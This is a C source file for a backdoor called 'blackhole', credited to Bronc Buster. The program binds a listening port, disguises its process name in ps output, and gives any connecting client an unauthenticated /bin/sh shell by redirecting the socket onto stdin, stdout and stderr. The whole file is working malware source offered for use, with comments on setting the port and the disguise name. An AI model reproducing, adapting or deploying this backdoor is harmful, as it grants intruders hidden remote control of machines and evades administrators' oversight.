blackhole.c

#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h>

/************************************************** ***/
/* Changes these two defines or this won't work! <g>*/
/************************************************** ***/

/* Change P to be the port you want this to listen on */
#define P 12345

/* Change HIDE to the name you want this to show as in a ps */
#define HIDE "I_did_not_change_HIDE"

#define SH "/bin/sh"
#define LISTN 5

int main(int argc, char **argv)
{

    /* welcome mesg */
    char *fst = "\nConnected!\n\n";
    char *sec = "This fine tool coded by Bronc Buster\n";
    char *thr = "Please enter each command followed by ';'\n";

    int outsock, insock, sz;

    /* set up two structs for in and out */
    struct sockaddr_in home;
    struct sockaddr_in away;
    /* set port, proto and bzero for BIND */
    home.sin_family=AF_INET;
    home.sin_port=htons(P);
    home.sin_addr.s_addr=INADDR_ANY;
    bzero(&(home.sin_zero),8);

    /* changing the name that will appear */
    strcpy(argv[0],HIDE);

    /* catch the SIG */
    signal(SIGCHLD,SIG_IGN);

    /* here we go! */
    if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
        exit(printf("Socket error\n"));

    if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))
        exit(printf("Bind error\n"));

    if((listen(outsock,LISTN))<0)
        exit(printf("Listen error\n"));

    sz=sizeof(struct sockaddr_in);

    /* infinate loop - wait for accept*/
    for(;;)
    {
        if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
            exit(printf("Accept error"));
        if(fork() !=0)
        {
            send(insock,fst,strlen(fst),0); /* send out welcome mesg */
            send(insock,sec,strlen(sec),0);
            send(insock,thr,strlen(thr),0);
            dup2(insock,0); /* open stdin */
            dup2(insock,1); /* open stdout */
            dup2(insock,2); /* open stderr */
            execl(SH,SH,(char *)0); /* start our shell */
            close(insock);
            exit(0); /* all done, leave and close sock */
        }
        close(insock);
    }
}